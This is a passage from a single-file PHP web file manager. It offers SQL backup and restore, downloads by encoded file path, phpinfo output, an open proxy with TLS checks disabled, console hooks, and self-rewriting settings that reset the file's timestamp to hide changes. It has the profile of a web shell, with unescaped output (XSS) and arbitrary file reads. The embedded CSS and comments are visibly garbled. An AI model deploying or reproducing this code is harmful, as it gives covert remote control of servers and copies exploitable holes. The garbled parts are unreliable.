			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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